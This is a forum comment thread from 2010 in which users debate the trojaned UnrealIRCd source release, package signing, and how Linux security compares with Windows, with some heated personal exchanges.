None of the latter were involved in this UnrealIRCd incident. Being open source alone is not enough, and this incident highlights that fact very well indeed.

The only system with an impeccable record of delivery of malware-free software to end user's systems is open source software delivered via distribution repositories and package managers.

Edited 2010-06-15 02:59 UTC

Reply Score: 2

jabbotts Member since:
2007-09-06

Imagine being the criminals who injected the backdoor code. Nobody want's to be permanently branded as the guy that tried to (and successful to some degree), push malware into the major distributions. UnrealIRCd developers will take a while to live this down but if they find the people responsible for the break in; oh, I don't want to be them.

Reply Score: 2

not really that big a deal....
by TemporalBeing on Tue 15th Jun 2010 02:52 UTC
TemporalBeing
Member since:
2007-08-22

...considering that most daemons are not typically run as the root user, let alone anyone can use the advanced security enhancement extensions built into the Linux Kernel.

Reply Score: 2

As the IRCD user
by 3rdalbum on Tue 15th Jun 2010 04:39 UTC
3rdalbum
Member since:
2008-05-26

The attacker still only gains the same privileges as the user running IRCD, which presumably is non-root, and ideally is a super-unprivileged user.

Reply Score: 2

RE: As the IRCD user - it's a step
by jabbotts on Tue 15th Jun 2010 20:16 UTC in reply to "As the IRCD user"
jabbotts Member since:
2007-09-06

Every break in is made up of baby steps. Get the machine ports, get the user accounts, get into a user account, get root, home by five for beer and BBq.

Reply Score: 2

Need for Better Practices, Not More FUD
by lemur2 on Tue 15th Jun 2010 04:50 UTC
lemur2
Member since:
2007-02-17

http://www.itworld.com/open-source/110930/trojaned-app-demonstrates...

Still, from the looks of this news, mistakes were indeed made. The Unreal team have already 'fessed up to the fact that (until this happened), archived releases had not been PGP/GPG signed. Which means if the archived version of the software varied in any way from the actual source code, there's no sure way to tell. That's what signing is supposed to do.

The team also admitted to not checking all of the mirrored files as often as they should have. Which means that while the true source code (in CVS) was clean as a whistle, the source archive files that people downloaded were not clean for a very long time.

This is all very unfortunate, but the general feeling in the broader open source community is that this was a sharp lesson in what not to do with handling software downloads. To their credit, the Unreal team owned up to their mistakes.


BTW, the means that the way the Unreal3.2.8.1.tar.gz file was distributed, (that is a unsigned binary file which one was supposed to just download from a website and install without checking) ... is far more reminiscent of the typical means of installing Windows applications on users systems.

This is the way that Windows systems often handle software downloads. An example of what not to do.

I'd bet that the malware authors were rubbing their hands in glee when they found this one.

Edited 2010-06-15 04:56 UTC

Reply Score: 4

Comment by Stratoukos
by Stratoukos on Tue 15th Jun 2010 06:02 UTC
Stratoukos
Member since:
2009-02-11

First of all let me applaud the UnrealIRCd developers. This is a lesson of how security vulnerabilities should be handled. It doesn't matter if you find one almost a year later, full transparency is always the best choice.

That said, wouldn't this be trivially solved with a simple hash check?

Reply Score: 2

RE: Comment by Stratoukos
by lemur2 on Tue 15th Jun 2010 06:48 UTC in reply to "Comment by Stratoukos"
lemur2 Member since:
2007-02-17

First of all let me applaud the UnrealIRCd developers. This is a lesson of how security vulnerabilities should be handled. It doesn't matter if you find one almost a year later, full transparency is always the best choice. That said, wouldn't this be trivially solved with a simple hash check?


Hash checks rely on manual action at the user's end, and they aren't that difficult to foil these days anyway. GPG signing is the way to go.

The easiest solution for UnrealIRCd would have been to open a project account on a server somewhere like launchpad.net (there would be equivalent host sites for other distributions). Then UnrealIRCd would have needed only to sync their development source tree with launchpad, and UnrealIRCd would have gained an automated way of delivering malware-free signed binary packages very easily to Ubuntu users, without any drain on their own server bandwidth.

Reply Score: 2

Here Here! Voluntary Public Disclosure!
by jabbotts on Tue 15th Jun 2010 20:18 UTC in reply to "Comment by Stratoukos"
jabbotts Member since:
2007-09-06

The developers screwed up but they are due credit for how they handled it through transparency and voluntary disclosure.

Reply Score: 2

Comment by ssa2204
by ssa2204 on Tue 15th Jun 2010 06:19 UTC
ssa2204
Member since:
2006-04-22

It was apparent that this was going to happen because it's happened in the past, but the press is taking advantage of this insecurity in a Linux app to harp on and on...


So, does the OP even bother to read the articles he links? So, "on and on" really refers to one article, which states an obvious fact:

Does all this mean that Linux users are as subject to malware as Windows users? No; there's clearly far more malware targeting Windows than Linux. But it does mean that Linux users who believe they can't be infected by malware are simply wrong.


Nice way to fail their OP. No, the internet is not aflame with this news. Only one trying to stir up controversy is surprise; OSNews.

Reply Score: 1

RE: Comment by ssa2204 - problem
by lemur2 on Tue 15th Jun 2010 06:28 UTC in reply to "Comment by ssa2204"
lemur2 Member since:
2007-02-17

But it does mean that Linux users who believe they can't be infected by malware are simply wrong.


This is very oblique, and more than a bit misleading.

For example ... Linux users who believe they can't be infected by malware because they use package managers to install their signed open source software still have no incident on record, after all these years, to contradict that belief.

Anything unsigned and closed, or indeed anything simply unsigned and binary, that is downloaded and installed without checking (to any system at all) could potentially contain a malware payload. Windows users, of all people, should be aware of this.

Edited 2010-06-15 06:30 UTC

Reply Score: 2

steogede2 Member since:
2007-08-17

"But it does mean that Linux users who believe they can't be infected by malware are simply wrong.


... Linux users who believe they can't be infected by malware because they use package managers to install their signed open source software still have no incident on record, after all these years, to contradict that belief.
"

I think "can't" is a bit too strong a word, I think "extremely unlikely to" is a better phrase. "can't" is too black and white.

"can't" implies that unless it happens, then it cannot and therefore will not happen. This in-turn implies that once it has happened, it can and therefore will happen.

If you were to say that it is extremely unlikely (never in x years), and then it happens, you can still say that it is extremely unlikely (once in x years).

Reply Score: 2

lemur2 Member since:
2007-02-17

"But it does mean that Linux users who believe they can't be infected by malware are simply wrong.

... Linux users who believe they can't be infected by malware because they use package managers to install their signed open source software still have no incident on record, after all these years, to contradict that belief.


I think "can't" is a bit too strong a word, I think "extremely unlikely to" is a better phrase. "can't" is too black and white.

"can't" implies that unless it happens, then it cannot and therefore will not happen. This in-turn implies that once it has happened, it can and therefore will happen.

If you were to say that it is extremely unlikely (never in x years), and then it happens, you can still say that it is extremely unlikely (once in x years).
"

Fair enough.

http://en.wikipedia.org/wiki/Advanced_Packaging_Tool#History
APT was introduced in 1998 and original test builds were circulated on IRC. The first Debian version that included it was Debian 2.1, released on 9 March 1999.


So then to describe the record for infection of end users systems via APT open source repositories you would suggest it be described as "it is extremely unlikely, say nonce in eleven years".

OK, I can live with that.

Here are the estimated infection rates for another frequently-used system, for objective comparison purposes:
http://gorumors.com/crunchies/malware-infection-rate-worldwide/

Edited 2010-06-15 10:24 UTC

Reply Score: 2

Most of it is Hype, but not from OSNews
by Lennie on Tue 15th Jun 2010 07:41 UTC in reply to "Comment by ssa2204"
Lennie Member since:
2007-09-22

I've seen many sources, for example:

http://www.zdnet.com/blog/bott/linux-infection-proves-windows-malwa...

As r_a_trip already mentioned:

"The incident has nothing to do with Operating System or development methodology (open or closed).

The take away is that sloppy software projects, with a non-existent security process will sooner or later get compromised and serve their customers poisoned goods. Could happen anywhere, irrespective of platform or chosen software licensing."

And that's the only useful response.

But it seems the Gentoo folks were being stupid too:

http://www.gentoo.org/security/en/glsa/glsa-201006-21.xml

Atleast ALL distributions are now warned and thank god it was only the UnrealIRCd.

When you are creating packages for distributions, you should get the source from the source, not some mirror as in the case of Gentoo. You should check md5-keys at the source.

When it's a smaller package I wouldn't be surprised many package maintainers also take a look at the patch between the versions. So you know exactly what changed between versions.

Edited 2010-06-15 07:56 UTC

Reply Score: 2

Lennie Member since:
2007-09-22

I would like to add, it's not a perfect system, their are humans involved, they make mistakes.

But at the end of the day, you are putting software together from different sources. They should probably be contained as much as possible, also from each other.

And maybe you automate this a bit more and I hope we can improve on it. But eventually it will originate from a human being. A programmer. The Linux-kernel programmers use git to keep track of the origin of every single line of code that goes in to the kernel and every line is reviewed.

If we verify everything along the way into the distributions and the tools check the packages and files at (regularly and) at installation time, then that is probably the best thing we can do.

Reply Score: 2

Funny
by r_a_trip on Tue 15th Jun 2010 07:20 UTC
r_a_trip
Member since:
2005-07-06

People throwing in Linux, people throwing in Windows. The incident has nothing to do with Operating System or development methodology (open or closed).

The take away is that sloppy software projects, with a non-existent security process will sooner or later get compromised and serve their customers poisoned goods. Could happen anywhere, irrespective of platform or chosen software licensing.

Reply Score: 3

What do you think?
by gedmurphy on Tue 15th Jun 2010 07:23 UTC
gedmurphy
Member since:
2005-12-23

I think, what a nonsense article, full of inaccuracies and flamebait.

OSNews staff, please vet your articles a little better

Reply Score: 3

RE: What do you think?
by vodoomoth on Tue 15th Jun 2010 07:51 UTC in reply to "What do you think?"
vodoomoth Member since:
2010-03-30

So easy...
What are those inaccuracies that only you saw?

Reply Score: 1

RE[2]: What do you think?
by gedmurphy on Tue 15th Jun 2010 08:46 UTC in reply to "RE: What do you think?"
gedmurphy Member since:
2005-12-23

This one stands out


comparing Linux to Windows in terms of security is a joke no matter how much better Windows security has gotten with recent releases.


Other than security through obscurity, can the OP point out why Windows security is a joke compared to linux? I'm at a complete loss.

Sounds like fanboy flamebait which Thom usually avoids.

Reply Score: 2

RE: What do you think?
by stew on Tue 15th Jun 2010 09:20 UTC in reply to "What do you think?"
stew Member since:
2005-07-06

Yes, could we stick to OSNews please and not turn into OSOpinion?

Reply Score: 2

Zealot
by Mr.Manatane on Tue 15th Jun 2010 07:41 UTC
Mr.Manatane
Member since:
2010-03-19

And, of course, bloggers and press in general are taking the opportunity of another breach in Linux security to point out doomsday devices that don't really exist.

Again, it's funny. When THIS happens with Mac OS X, everybody says that it is crap and full of security holes.

When it happens on Linux, everybody says "hey, it's a new security hole found, linux is more secure now. It doesn't change anything to the fact that it's still more secure than everything out there (windows, macos or BSD).

Just tired of this fanboyism.

Reply Score: 4

RE: Zealot
by lemur2 on Tue 15th Jun 2010 10:53 UTC in reply to "Zealot"
lemur2 Member since:
2007-02-17

When it happens on Linux, everybody says "hey, it's a new security hole found, linux is more secure now.


Rubbish.

Distributing unsigned binary packages is a security hole that has been known about forever. This security hole is the entire reason package managers were designed written in the first place, over a decade ago.

Linux has been demonstrably more secure for the whole of that decade, but only for software distribution that utilises package managers. Like all trojans, this particular trojan relied on not being delivered via any package manager system.

Windows has no equivalent distribution system (although Windows Update does get part-way there, but that system applies only to Microsoft software). Consequently the security hole in Windows, wherein users routinely download and install unsigned binary packages, is absolutely enormous.

Edited 2010-06-15 10:55 UTC

Reply Score: 3

RE[2]: Zealot
by Mr.Manatane on Tue 15th Jun 2010 14:32 UTC in reply to "RE: Zealot"
Mr.Manatane Member since:
2010-03-19

Funny again how amnesic are Linux fanboy.

Your argumentation is just pointless when you see security holes like this:

http://www.informationweek.com/blog/main/archives/2008/05/a_black_e...

The problem involves Debian's version of the openssl package, which was changed back in 2006 in such a way that the encryption keys generated by the package could theoretically be guessed by an attacker. Bad. But what's worse, every encryption key generated with that edition of openssl since the change was made -- since 2006 -- now has to be dumped.


A single problems in the openssl debian package and BOOM all your genius stuff is doomed. now your genious deployement package tool - you are so proud of - is spreading the security holes on all OSes and it's worst than installing manually software YOU chose to install because you TRUST the repository of the linux distribution.

Reply Score: 2

RE[3]: Zealot
by 3rdalbum on Tue 15th Jun 2010 15:26 UTC in reply to "RE[2]: Zealot"
3rdalbum Member since:
2008-05-26

...and it's worst than installing manually software YOU chose to install because you TRUST the repository of the linux distribution.


I fail to see how it's worse than installing software manually. Debian users got an OpenSSL security update as soon as the vulnerability was patched, because it was in the repository. In fact, not only did it fix the vulnerability, but there were several layers of safety in the patch to identify weak keys and warn the user if they are present, as well as stopping any of the same keys from coincidentally being generated in the future (because any attacker would look for the known weak keys first).

The Debian vulnerability was caused by human error, not by malicious intent as we've seen in the UnrealIRC problem.

One flaw doesn't prove that the system is broken. Multiple flaws do. Internet Explorer 6 isn't broken because of a cross-site-scripting flaw discovered in 2006, it's broken because people keep finding cross-site-scripting flaws in it. The same applies with the repositories.

Reply Score: 2

RE[4]: Zealot
by lemur2 on Tue 15th Jun 2010 23:17 UTC in reply to "RE[3]: Zealot"
lemur2 Member since:
2007-02-17

"...and it's worst than installing manually software YOU chose to install because you TRUST the repository of the linux distribution.
I fail to see how it's worse than installing software manually. Debian users got an OpenSSL security update as soon as the vulnerability was patched, because it was in the repository. In fact, not only did it fix the vulnerability, but there were several layers of safety in the patch to identify weak keys and warn the user if they are present, as well as stopping any of the same keys from coincidentally being generated in the future (because any attacker would look for the known weak keys first). The Debian vulnerability was caused by human error, not by malicious intent as we've seen in the UnrealIRC problem. One flaw doesn't prove that the system is broken. Multiple flaws do. Internet Explorer 6 isn't broken because of a cross-site-scripting flaw discovered in 2006, it's broken because people keep finding cross-site-scripting flaws in it. The same applies with the repositories. "

Once again, with emphasis, this UnrealIRCd problem has absolutely nothing to do with the repository system.

UnrealIRCd didn't use the repository system, and THAT was the problem.

Reply Score: 2

RE[3]: Zealot - patch times.. not bug counts
by jabbotts on Tue 15th Jun 2010 20:29 UTC in reply to "RE[2]: Zealot"
jabbotts Member since:
2007-09-06

Bug counts are useless outside of superficial mass media and fanboy debate. All software is broken. Look at patch times instead. Once discovered, now long did it take Debian maintainers to deliver the update? How open where they during the process? How affective was the patch once delivered. How do these responses and turn around times compared to other major distributions and platforms?

Personally, my issue with Apple is not that bugs are discovered but how they address them. If they drop the "impervious to anything" marketing spin and demonstrated transparency from bug report through to patch availability; no problem. Apple's "we have no bug in TCP/IP and NIC drivers" is a good example. Microsoft actually falls between the two in terms of public disclosure but they have also had cases of leaving vulnerabilities unpatched for years until embarrassed enough to address it. I haven't seen Debian try to hush up a vulnerability; they are usually to busy delivering a patch response.

Reply Score: 2

RE[3]: Zealot
by lemur2 on Tue 15th Jun 2010 23:22 UTC in reply to "RE[2]: Zealot"
lemur2 Member since:
2007-02-17

A single problems in the openssl debian package and BOOM all your genius stuff is doomed. now your genious deployement package tool - you are so proud of - is spreading the security holes on all OSes and it's worst than installing manually software YOU chose to install because you TRUST the repository of the linux distribution.


Doomed?

No users system got any malware through the debian openssl error.

Security hole? No, the openssl error reduced the security of openssl on Debian systems for a time, but it was a weakness, not a hole. It meant taht an attacker, who knew about the weakness, would have required significantly less time for a brute force attack against openssl than should have been needed. No end user's system was ever breached because of it.

Spreading to all OSes? No. It was an error, that resulted in weaker openssl for some time on debian systems, and which was corrected when it was discovered in an audit at Debian.

Please stick to the facts, OK? No system can eliminate errors. This particular error resulted in no harm before it was fixed.

Zealot? Exactly who is spreading the lies and invictive here, hmmmm?

Edited 2010-06-15 23:25 UTC

Reply Score: 2

RE: Zealot
by Robert_Zenz on Tue 15th Jun 2010 19:55 UTC in reply to "Zealot"
Robert_Zenz Member since:
2010-06-10

It's not even Linux fault...it's the fault of the admin who compiles and installs not signed packages. PEBCAK in this case.

Reply Score: 1

What do you think?
by l3v1 on Tue 15th Jun 2010 07:55 UTC
l3v1
Member since:
2005-07-06

Well, I think signing of relases should be mandatory, as well as checking for valid signing when installing. When people compiling sources by themselves, you can't enforce that, but in case of installing from repos you can, so that should be preferred. Who still install from unverified or unverifiable souces, that's their problem. That's all.

Reply Score: 3

Guidelines should be published?
by another_sam on Tue 15th Jun 2010 10:11 UTC
another_sam
Member since:
2009-08-19

Should security guidelines on open source mirroring be published by an open source authority?

If a similar case happens again, these guidelines would easily allow to point to flaws on following them, rather than serving as base for the nth absurd wave of fud-makers' articles.

Reply Score: 1

WereCatf Member since:
2006-02-15

If a similar case happens again, these guidelines would easily allow to point to flaws on following them, rather than serving as base for the nth absurd wave of fud-makers' articles.

They'll just find something else to spread FUD about, or they'll just twist the facts enough to make it look bad even with the guidelines. Never underestimate the lengths to which a devious mind is willing to go ;)

Reply Score: 4

Comment by yoshi314@gmail.com
by yoshi314@gmail.com on Tue 15th Jun 2010 11:28 UTC
yoshi314@gmail.com
Member since:
2009-12-14

i remember when wordpress 2.1.1 was compromised in this way ( http://wordpress.org/development/2007/03/upgrade-212/ ) but the issue was caught pretty fast.

in this case - 6 months, and nobody noticed? that kind of failure cannot possibly be described correctly.

Reply Score: 1

RE: Comment by yoshi314@gmail.com
by lemur2 on Tue 15th Jun 2010 11:56 UTC in reply to "Comment by yoshi314@gmail.com"
lemur2 Member since:
2007-02-17

i remember when wordpress 2.1.1 was compromised in this way ( http://wordpress.org/development/2007/03/upgrade-212/ ) but the issue was caught pretty fast.

in this case - 6 months, and nobody noticed? that kind of failure cannot possibly be described correctly.


On Ubuntu, there are at least three different IRC servers that can be installed directly via the normal repositories using apt-get or synaptic.

http://ubuntuforums.org/showthread.php?t=233146

They are ircd-hybrid, bahamut and ircd-ircu

http://ircd-hybrid.com/
http://www.dal.net/?page=Bahamut
http://coder-com.undernet.org/

I would suggest perhaps that the audience for this UnrealIRCd program is not all that large. Maybe nobody downloaded it.

Reply Score: 0

Aristocracies Member since:
2010-06-15

I'm registering just because watching you talk out of a completely ignorant position is just maddening.

Most irc daemons are compiled from source, they are not fetched as packages. You have a number of compile-time options you have to consider, such as setting hard-coded options and limits that may matter based upon the services you provide. Deploying a server from a package is ill-advised and I cannot think of any major IRC network where they would commonly link to a server running such a thing, since all of them have configuration standards you have to meet, not all of them similar and not all of them may be tunable via a configuration file depending on your ircd.

In fact, out of the three you listed there, one of them had a spotty security track record already on its own (Bahamut), one has been forked and pretty much depreciated (Hybrid, the biggest backers are pushing Ratbox) and the other is obscure at best (ircu), being an absolutely archaic codebase used primarily by a single, formerly notable network.

Calling UnrealIRCd 'obscure' because it's not on a package list is taking the cake on this drivel I see you post here. Had you even done a cursory search on this, such as checking any of the sites constantly scanning for and crawling ircd servers -- you'd find out that Unreal is actually the most popular ircd deployed, period.

http://searchirc.com/ircd-versions

Seriously.

So yes, this is a bigger deal than you'd think.

Reply Score: 1

lemur2 Member since:
2007-02-17

I'm registering just because watching you talk out of a completely ignorant position is just maddening. Most irc daemons are compiled from source, they are not fetched as packages. You have a number of compile-time options you have to consider, such as setting hard-coded options and limits that may matter based upon the services you provide. Deploying a server from a package is ill-advised and I cannot think of any major IRC network where they would commonly link to a server running such a thing, since all of them have configuration standards you have to meet, not all of them similar and not all of them may be tunable via a configuration file depending on your ircd. In fact, out of the three you listed there, one of them had a spotty security track record already on its own (Bahamut), one has been forked and pretty much depreciated (Hybrid, the biggest backers are pushing Ratbox) and the other is obscure at best (ircu), being an absolutely archaic codebase used primarily by a single, formerly notable network. Calling UnrealIRCd 'obscure' because it's not on a package list is taking the cake on this drivel I see you post here. Had you even done a cursory search on this, such as checking any of the sites constantly scanning for and crawling ircd servers -- you'd find out that Unreal is actually the most popular ircd deployed, period. http://searchirc.com/ircd-versions Seriously. So yes, this is a bigger deal than you'd think.


IRC servers are obscure, period.

Backup: search for "IRC" on this page:
http://en.wikipedia.org/wiki/Application_software
"Not found".

IRC barely even gets a mention on this page:
http://en.wikipedia.org/wiki/Instant_messaging

There are only 1500 IRC servers running worldwide:
http://en.wikipedia.org/wiki/IRC

The premier use of an IRC server these days seems to be for balckhats to control a Windows botnet via someone else's IRC server, so that they don't get pinged as the botnet owner.

Not a big demand for IRC server programs, is there?

The fact that UnrealIRCd for Linux was NOT distributed via package management guarantees that it will be obscure on Linux. Given the prevalence of malware on the Internet, who would be insane enough to install an unsigned, uncheckable obscure binary package these days, other than Windows users (who don't get much choice)?

The fact that it was obscure for Linux is underlined by the observation that this compromised UnrealIRCd package was hosted on mirrors for a significantly long time, and nobody even noticed.

Edited 2010-06-16 02:02 UTC

Reply Score: 2

lemur2 Member since:
2007-02-17

I'm registering just because watching you talk out of a completely ignorant position is just maddening.


Oh really?

you'd find out that Unreal is actually the most popular ircd deployed, period. http://searchirc.com/ircd-versions Seriously. So yes, this is a bigger deal than you'd think.


They are running out of IP4 addresses, that is 4,294,967,296 addresses. There are 1,500 IRC servers. Therefore, the entire market for IRC server programs is less than 0.000035% of the market for software (for machines on the Internet). Linux share of that would be 30% or less. UnRealIRCd share of that, lets be generous, perhaps 25%. UnRealIRCd for Linux is of interest to 0.0000026% of the market, at best.

[sarcasm]Big deal indeed.[/sarcasm]

In reality, 0.0000026% interest is obscure by anyone's definition.

Edited 2010-06-16 02:27 UTC

Reply Score: 2

Aristocracies Member since:
2010-06-15

What I find more amazing is now you are trying to reframe the argument. This conversation is about irc daemons and the people who would be at risk. If you're running an ircd, chances are you could be at risk. Regardless of how this attack vector occurred, this is still a blow to the most popular ircd for folks running irc networks so far as their perceived reputation.

Regardless of how many people are actually running the daemon itself, there sure as hell are quite a few more people actually using the servers as clients who also would be impacted by this.

Fact is, you still don't know what you're discussing but you've got your panties in a twist now that someone who actually has real experience here has called you on this. Enjoy. Good to know OSNews puts up with you.

Reply Score: 1

lemur2 Member since:
2007-02-17

What I find more amazing is now you are trying to reframe the argument. This conversation is about irc daemons and the people who would be at risk. If you're running an ircd, chances are you could be at risk.


Absolutely. You are ESPECIALLY at risk if you are in the habit of downloading unsigned binary packages and installing them, unchecked in any way, on your system. I couldn't agree more. This applies for ANY OS, and for any type of applictaion, not merely IRC server applications.

Regardless of how this attack vector occurred, this is still a blow to the most popular ircd for folks running irc networks so far as their perceived reputation.


What reputation? They haven't got a reputation worth schmick if they simply ignore the secure distribution methods for Linux applications that are freely available to them, and they simply plonk an unsigned binary package on a server somewhere, and then fail to check it for many months. No-one in their right mind would be using a package such as that, or indeed running their software. That would be utterly crazy, asking for trouble.

Regardless of how many people are actually running the daemon itself, there sure as hell are quite a few more people actually using the servers as clients who also would be impacted by this.


What, we are up to 0.000026% now (ten times as many users who run it in client mode). Whoopee. That really takes it well out of the "obscure" class now ... NOT!!!!

Fact is, you still don't know what you're discussing but you've got your panties in a twist now that someone who actually has real experience here has called you on this. Enjoy. Good to know OSNews puts up with you.


Diddums is going to have another ad hominem potshot at me now? How quaint.

Edited 2010-06-16 06:04 UTC

Reply Score: 2

saynte Member since:
2007-12-10

Sorry, but Aristocracies is absolutely right. He has provided data to back-up the claim that the daemon is popular in its field, and (as he stated) even if the numbers of servers aren't large, the clients would be more considerable (Wikipedia has some estimate of a half-million IRC clients).

He is also correct that you went off on several tangents unrelated to the topic of potential impact of this vulnerability, calling IRC obscure, anyone who installed this incompetent, a few guesses based on total IP space, etc.

Your argument is appears incredibly weak compared to his, you may want to stop discussing this if you can't produce better formed responses that are actually on-topic.

Reply Score: 1

lemur2 Member since:
2007-02-17

Sorry, but Aristocracies is absolutely right. He has provided data to back-up the claim that the daemon is popular in its field, and (as he stated) even if the numbers of servers aren't large, the clients would be more considerable (Wikipedia has some estimate of a half-million IRC clients).

He is also correct that you went off on several tangents unrelated to the topic of potential impact of this vulnerability, calling IRC obscure, anyone who installed this incompetent, a few guesses based on total IP space, etc.

Your argument is appears incredibly weak compared to his, you may want to stop discussing this if you can't produce better formed responses that are actually on-topic.


Aristocracies is the one who went of on the tangent. It was his whole point that this IRC server daemon was somehow in his view not an obscure application, when clearly it is. It could scarcely be more obscure. Even though there is a Linux version, it is included in no Linux distribution repositories at all. I merely mentioned this in passing.

Furthermore, it truly is incompetent, both of the application authors and of anyone who installed it, to have been caught out by this trojan. There was totally no need to have been so caught out, since there are a number of means readily available to distribute Linux applications securely, so that trojans cannot get a look in. Signing the package is a very obvious thing to have done, but these developers failed to do even that. The developers even admitted to being very embarrassed by their utter lack of even the simplest security measures.

Anyone who had even the vaguest understanding of normal methods of distribution of Linux software should not have touched this particular package with a ten foot barge pole.

Unsigned binary packages simply downloaded from a server and manually installed is the absolutely classic vector for trojan horse malware injection.

http://en.wikipedia.org/wiki/Trojan_horse_%28computing%29
Trojan horses can be installed through the following methods:
* Software downloads (e.g., a Trojan horse included as part of a software application downloaded from a file sharing network)


I'm sorry, but this is in the very first page of security 101 for dummies ... don't do this. Don't do unsigned binary installation packages. Refuse point blank to ever install such things.

Edited 2010-06-16 11:51 UTC

Reply Score: 2

saynte Member since:
2007-12-10

I don't see how this is obscure. Your own Wikipedia link states that the top 100 IRC servers alone host over a half million users at a time. With at least a half-million users, how can it be so obscure? Clearly a vulnerability to the servers translates to a problem for the clients.

Reply Score: 1

Aristocracies Member since:
2010-06-15

You still haven't grasped the fact that this trojan wasn't in an executable binary. None of the provided executable binaries were infected, in fact, they only provide a Windows binary. Someone had replaced the source tarball with one that had the backdoor in the source code itself. This allowed anyone who built the daemon to have anyone connected to the IRC service execute arbitrary commands as the user the daemon ran as. The potential for abuse there if one was motivated is mindboggling, since it'd be trivial to take control of the entire service from that point.

Anyone who downloaded this and compiled it had an issue. In fact, all the fix scripts for this are simply cleaning a header file, then you have to recompile. Or you could just grab a known clean tarball now and check against the provided hashes.

Sure, they should have been doing more and in fact, now are. But you're still a crazed autistic who can't be bothered to read anything to get his facts straight. I'm sure your reply will be more drivel attacking the Unreal team and then some further distractions like 'hurr tarballs are binaries too', all of which you're throwing forth because someone wrote a mean article about your preferred OS, even if no one in their right mind would take said article seriously. ;)

Edited 2010-06-16 19:17 UTC

Reply Score: 1

RE: Comment by yoshi314@gmail.com
by WereCatf on Tue 15th Jun 2010 12:04 UTC in reply to "Comment by yoshi314@gmail.com"
WereCatf Member since:
2006-02-15

in this case - 6 months, and nobody noticed? that kind of failure cannot possibly be described correctly.

The explanation is rather simple: it was not the main server that was compromised nor any distribution repositories, only mirror servers. As such the malware issue couldn't be very widespread. Even more so that UnrealIRCD is mostly used by rather small IRC networks; had it been used by a very large network the backdoor would most likely have been noticed a whole lot earlier (if they had downloaded UnrealIRCD from a mirror and not from the actual distro repos, which is highly unlikely and stupid anyway in the case you host a public server.)

It's just plain common sense that it took a while to be found.

Reply Score: 3

Without even reading other comments
by sbenitezb on Tue 15th Jun 2010 13:09 UTC
sbenitezb
Member since:
2005-07-22

what does this have to do with Linux/*BSD/etc?

Reply Score: 2

lemur2 Member since:
2007-02-17

what does this have to do with Linux/*BSD/etc?


Not a lot.

UnrealIRCd is an open source, multi-platform, relatively obscure (on Linux) IRC server program.

http://en.wikipedia.org/wiki/UnrealIRCd

Someone found out that the distribution method for the Linux version of this particular program was the same as for other platforms ... it is distributed for Linux via an unsigned binary file.

Someone decided to attach a trojan to the binary file and replace the original Linux distribution file with the trojan-infected file for Linux on some of the UnrealIRCd mirrors, where it went undetected for a lengthy period.

As anyone knows, distributing unchecked binary files is a perfect vehicle for disseminating trojans. It was apparently on someone's agenda to illustrate that this is just as true for a Linux version of an application as it is for any other OS.

Edited 2010-06-15 13:23 UTC

Reply Score: 2

ba1l Member since:
2007-09-08

Yeah, this can (and does) happen with Windows software as well. It's really a problem with the "run random files downloaded off the Internet" distribution model, rather than any particular OS.

This is yet another reason we shouldn't trust this way of distributing applications. Too dangerous.

Obviously, anyone distributing source code should sign the packages, to make sure they haven't been tampered with. Most end-users won't check them, but package maintainers certainly will. That'd at least prevent a trojaned version of an application from getting into a distribution's repository.

The more interesting question is this - is there some way to safely run random applications downloaded off the 'net?

Sticking purely to a distribution's package collection is (normally - see above) much safer, since all packages in most distributions are signed. It's just sometimes not enough.

Ubuntu's PPAs go some of the way towards fixing this. As long as you install the package signing key correctly, you can be sure that the packages haven't been modified. Doesn't protect you from deliberate attacks though - PPAs can contain just about anything, and how do you know if you can trust the PPA owner?

What you really need is some way to restrict what a PPA can do, and to sandbox all of the applications inside it. Lock them down (Linux already has all the infrastructure required to do this), isolate them from each other, and come up with a way to add permissions if required, ideally in a way that's transparent to the end user (so if it needs filesystem access, you can see that and decide for yourself if you trust it).

Reply Score: 2

lemur2 Member since:
2007-02-17

Yeah, this can (and does) happen with Windows software as well. It's really a problem with the "run random files downloaded off the Internet" distribution model, rather than any particular OS.

This is yet another reason we shouldn't trust this way of distributing applications. Too dangerous.


Exactly so. The problem here isn't Linux, or Windows, or any other OS. The real problem is the distribution of unsigned binary packages as a means of distributing applications.

Obviously, anyone distributing source code should sign the packages, to make sure they haven't been tampered with.


The word "source" here is redundant. Signing of packages is as valid for binary packages as it is for source code.

Most end-users won't check them, but package maintainers certainly will.


This is not primarily the reason for signing packages. Signing packages merely ensures that the file you downloaded was originated by the person holding the key that it was signed with. Local package manager programs (such as apt-get) have a copy of the distribution's public key, and they therefore can check that the downloaded package really came, unmodified, from the distribution's repository. This is done automatically by the package manager program, it is not at all dependent on user's doing anything. This has nothing at all to do with binary versus source code packages ... it works just as well for either one.

That'd at least prevent a trojaned version of an application from getting into a distribution's repository.


Yes, that indeed is the result, in any event.

The more interesting question is this - is there some way to safely run random applications downloaded off the 'net?


Unsigned? No.

Sticking purely to a distribution's package collection is (normally - see above) much safer, since all packages in most distributions are signed.


Correct.

It's just sometimes not enough.


A matter of opinion, surely. There are 25000 of the most popular open source packages in Ubuntu's repositories. For 90%+ of users, this will cover more than enough applications.

Ubuntu's PPAs go some of the way towards fixing this. As long as you install the package signing key correctly, you can be sure that the packages haven't been modified. Doesn't protect you from deliberate attacks though - PPAs can contain just about anything, and how do you know if you can trust the PPA owner?


Check the number of downloads. If there have been many thousands of downloads and no complaints, and the PPA is still up and running after a reasonable time, then it probably contains no malware. This is especially true if the PPA offers both source and binary versions of the code, so that it is possible for recipients to compile the source to verify the binary for themselves. A small number of recipiens might actually do this. In any event, if there have been a significant number of problem-free downloads over a decent period of time, the PPA keyholder can be trusted, one would surmise.

What you really need is some way to restrict what a PPA can do, and to sandbox all of the applications inside it. Lock them down (Linux already has all the infrastructure required to do this), isolate them from each other, and come up with a way to add permissions if required, ideally in a way that's transparent to the end user (so if it needs filesystem access, you can see that and decide for yourself if you trust it).


This would simply restrict what one could actually include in a PPA. It would make PPA's useless for developing and testing of native applications ... which is what PPAs are actually meant for.

Edited 2010-06-15 14:36 UTC

Reply Score: 2

lemur2 Member since:
2007-02-17

what does this have to do with Linux/*BSD/etc?


Here you go, read a quick summary:
http://www.itworld.com/security/110942/linux-secure-ever?source=sml...

Here's what really happened. UnrealIRCd, a rather obscure open-source IRC (Internet Relay Chat) server, wasn't so much hacked as the program it was letting people download has been replaced by one with a built-in security hole.

...

So what does that mean? First, there's no new, or old for that matter, security hole in Linux at all. What happened was that this one group let someone replace the program they were shipping with one that had been deliberately designed to let other people into it to run commands on your Linux computer.

